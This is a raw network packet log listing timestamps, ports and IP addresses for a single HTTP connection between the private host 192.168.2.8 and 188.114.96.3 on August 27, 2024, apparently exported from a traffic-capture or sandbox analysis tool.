Aug 27, 2024 09:49:38.449964046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449975014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449986935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.449991941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450012922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450050116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450122118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450154066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450165987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450182915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450193882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450202942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450211048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450217962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450229883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450231075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450241089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450252056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450258017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450277090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450433016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450444937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450460911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450472116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450479031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450485945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450515032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450568914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450720072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450731993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450742006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450752974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450763941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450774908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450783968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450783968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450786114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450803041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450814962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450820923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450825930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450838089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450849056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450861931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.450875998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.450905085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451046944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451059103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451070070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451081991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451097965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451103926 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451127052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451183081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451208115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451219082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451229095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451242924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451256037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451267958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451271057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451294899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451303959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451364994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451376915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451386929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451397896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451409101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451421976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451432943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451445103 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451447964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451461077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451463938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451472998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451483965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451494932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451494932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451507092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451518059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451519012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451529026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.451533079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.451560020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.492355108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533227921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533247948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533260107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533277035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533291101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533302069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533318043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533329964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533368111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533379078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533422947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533472061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533485889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533499002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533510923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533521891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533585072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533595085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533652067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533663034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533674002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533682108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533685923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533771992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533804893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533816099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533828020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533838034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533849001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533855915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533865929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533879995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.533879995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533915043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.533941031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534136057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534152985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534164906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534174919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534187078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534198999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534209967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534221888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534224987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534238100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534248114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534255028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534277916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534418106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534429073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534440041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534452915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534455061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534462929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534467936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534480095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534492016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.534496069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.534554005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.536917925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.536930084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.536942005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.536969900 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.536981106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537029028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537040949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537051916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537065983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537082911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537103891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537178993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537189960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537199974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537211895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537224054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537230968 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537235975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537246943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537259102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537261009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537271976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537292004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537306070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537458897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537470102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537480116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537492990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537502050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537518978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537602901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537614107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537626028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537636995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537658930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537672997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537738085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537750959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537761927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537775040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537779093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537786007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537798882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537801027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537811041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537825108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537825108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537836075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537847042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.537861109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.537889957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538069010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538079977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538089991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538116932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538130045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538131952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538146973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538158894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538175106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538186073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538187027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538211107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538378954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538393974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538434029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538521051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538532019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538542032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538558006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538561106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538569927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538580894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538584948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538593054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538604975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538616896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538628101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538636923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538639069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538650990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.538655996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.538691044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539232016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539244890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539257050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539290905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539298058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539304018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539304972 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539314985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539329052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539340019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539352894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539364100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539376020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539391041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539392948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539392948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539392948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539405107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.539423943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.539463997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620043993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620120049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620130062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620187998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620187998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620198965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620210886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620223045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620224953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620255947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620301008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620347977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620392084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620476007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620491028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620502949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620515108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620520115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620536089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620538950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620552063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620563984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620574951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620584965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620587111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620603085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620630980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620637894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620723963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620733976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620744944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620755911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620762110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620767117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620778084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620784998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620789051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620800972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620810986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620820999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.620984077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.620994091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621005058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621016026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621025085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621043921 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621076107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621145964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621155977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621166945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621179104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621191025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621196032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621202946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621215105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621225119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621232033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621243000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621268034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621462107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621473074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621483088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621494055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621506929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621512890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621517897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621529102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.621534109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.621567011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.623935938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.623981953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.623999119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624012947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624057055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624058008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624068975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624080896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624135017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624155998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624166965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624176025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624241114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:38.624346018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624356985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624368906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:38.624381065 CEST	80	49715	188.114.96.3	192.168.2.8
